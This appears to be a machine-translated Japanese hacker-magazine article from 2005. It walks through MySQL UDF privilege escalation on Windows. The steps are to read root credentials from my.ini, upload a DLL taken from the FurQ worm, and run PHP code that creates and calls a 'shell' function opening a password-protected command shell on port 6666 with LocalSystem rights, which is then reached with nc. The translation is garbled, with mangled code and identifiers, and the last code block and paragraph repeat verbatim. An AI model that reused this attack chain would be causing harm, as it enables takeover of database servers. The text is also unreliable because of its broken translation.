権利を持って、MySQLの名前で
著者kevin 注:原稿は『ハッカーの防衛線』2005年第7号に掲載されました。転載は著作権と出所を明らかにしてください。 先日、インターネットでMySQLが公開されました。 Funncの脆弱性は、MySQLを使ってカスタマイズした関数を作成し、この関数を使ってサーバを攻撃するというものです。最初に記事を読んだのはo-otikですが、Unixシステムに対するExploidとして発表されました。成功率もそんなに高くないです。最近、国内の達人がWinシステムに関する文章を出しています。友達と一緒に研究しに来ました。 私たちはMSSQL\Oracleデータベースを攻撃している時に、最も高い権限のアカウントを得て、いつも特殊な拡張プロセスまたは関数を実行して攻撃します。たとえばMSSQLはXp_がありますcmdshell、OracleはMsvcrt.dllを通じて特殊な関数を作成することができます。しかし、流行のデータベースソフトウェアの一つであるMySQLも関数の作成を行うことができます。このことから、MySQLのこの脆弱性は単なる技術とは言えません。 無駄話をした後、私たちはMySQLの関数をどうやって作成するかを調べましょう。これはどのように利用するかよりも重要です。原理を理解すれば、より柔軟に運用できます。また、他の思想とよく通じます。 MySQLで関数を作成するステートメントは以下の通りです。 クリアー Function FuntionName Returns [Stering Integer|Real] Soname 'C:\function.dll; このうち、FuntionNameは関数の名前を指します。C:\Funtion.DLLは関数で呼び出されたDLLを指します。関数名はDLLの関数名です。ただし、ここで注意したいのは、MySQLが関数の中に一つのパラメータを付すことができれば、UDF形式のプログラム作成規則に適合します。具体的にはMySQLマニュアルの第14節を見ることができます。『MySQLのために新しい関数を追加』。STRING、INTEGET、REALは関数実行後に戻った値の形式です。もちろん、UDF形式に従って作成する必要はありません。実は私たちの関数の中で私たちが実行したいコードを使用すれば、パラメータを使わずに攻撃の効果が得られます。例えばSystem(「command.com」)などです。ネット上で現在このような脆弱性で攻撃しているFurQワームはUDF形式を使わない例です。しかし、この作成関数の文はmysqlアカウントにmysqlというデータベースに対する書き込み権限が必要です。そうでないと正常に使えません。 はい、原理を理解したら、私達は実際にMySQLを使って権限を高める方法を試してみます。 ここで私達はすでにさまざまな穴を通してサーバーのWebShellを取得しました。ここで実証したのはアンジェラのphpyです。PHPはデフォルトでMySQLと接続する関数があります。ASPはこれらは添付のコンポーネントを使って接続する必要があります。 一般的にWinシステムの下には、多くのソフトウェアがシステムディレクトリの下にmy.iniというファイルを作成しています。この中には敏感なMySQL情報が含まれています。もし私たちが攻略したホストに非常に良い権限が設定されていないなら、私たち自身は%winddirディレクトリへの閲覧権限を持っています。したがって、非常に簡単に情報を読み取ることができます。また、非常に多くの管理者は、このMy.iniにrootアカウントとパスワードを書き込むので、rootユーザのパスワードを読むと、MySQLデータベースまたはサーバー全体を操作することができます。図1. MySQLのRootパスワードを取得した後、私達はDLLファイルをアップロードしたいです。ここで使っているのはFrQワームから抽出したFrQ.dllです。このFrQ.DLLの中のShell関数を実行します。システムは6666ポートでパスワード付きCMDShellを開きます。もちろん、パスワードはすでに分かりました。「FrQ」という文字だけです。でも、今はまだ実行されていない条件です。MySQLを通じてこの関数をMySQLに作成します。 今、PHPSPYでPHPファイルを新規作成します。 以下の内容を入力します。 「 //ここのroot\rootはmy.iniから読み取ったユーザとパスワードです。 @mysqlselect_.db(''mysql') or die ('アメリカ database mysql failed!') echo "はい You Did!
「 //ここでMySQLデータベーステーブルを選択します。もちろん、testのような他のものも選べます。 $query=「Create」 Function シェル RETURNS INTEGER SONAME 'd:\wwww root\\FrQ.dll'; @$レスリング = mysqlquery($query) $link or die ("クリアー Function Failed!"); echo "Goddess…Success ed!br/>「 //この二つの文はキーで、MySQLの作成関数文を実行します。d:\wroot\furq.dllのシェル関数をMySQLに作成します。MySQLがこのシェル関数を実行することができます。 $query=「Select」 Shell()"; @$レスリング = mysqlquery($query) $link or die ("Execute failed"); echo "Cogratulations Connect The ポート 6666 Of This Server VS password:FrQ
//このステップは、このShell関数を実行し、サーバの6666ポートを開くことである。 ?> 再度実行して、全部正常に戻ります。図2のように、今はnc接続サーバーの6666ポートを使って、このパスワードを入力してください。FrQ.CM DSHELLに戻ります。もちろん、MySQLの権限を継承しているので、Winシステムの下でMySQLはデフォルトでサービスインストールします。つまり、私たちが得たShellはLocalSystemの権限です。やりたい放題です。
「 //ここでMySQLデータベーステーブルを選択します。もちろん、testのような他のものも選べます。 $query=「Create」 Function シェル RETURNS INTEGER SONAME 'd:\wwww root\\FrQ.dll'; @$レスリング = mysqlquery($query) $link or die ("クリアー Function Failed!"); echo "Goddess…Success ed!br/>「 //この二つの文はキーで、MySQLの作成関数文を実行します。d:\wroot\furq.dllのシェル関数をMySQLに作成します。MySQLがこのシェル関数を実行することができます。 $query=「Select」 Shell()"; @$レスリング = mysqlquery($query) $link or die ("Execute failed"); echo "Cogratulations Connect The ポート 6666 Of This Server VS password:FrQ
//このステップは、このShell関数を実行し、サーバの6666ポートを開くことである。 ?> 再度実行して、全部正常に戻ります。図2のように、今はnc接続サーバーの6666ポートを使って、このパスワードを入力してください。FrQ.CM DSHELLに戻ります。もちろん、MySQLの権限を継承しているので、Winシステムの下でMySQLはデフォルトでサービスインストールします。つまり、私たちが得たShellはLocalSystemの権限です。やりたい放題です。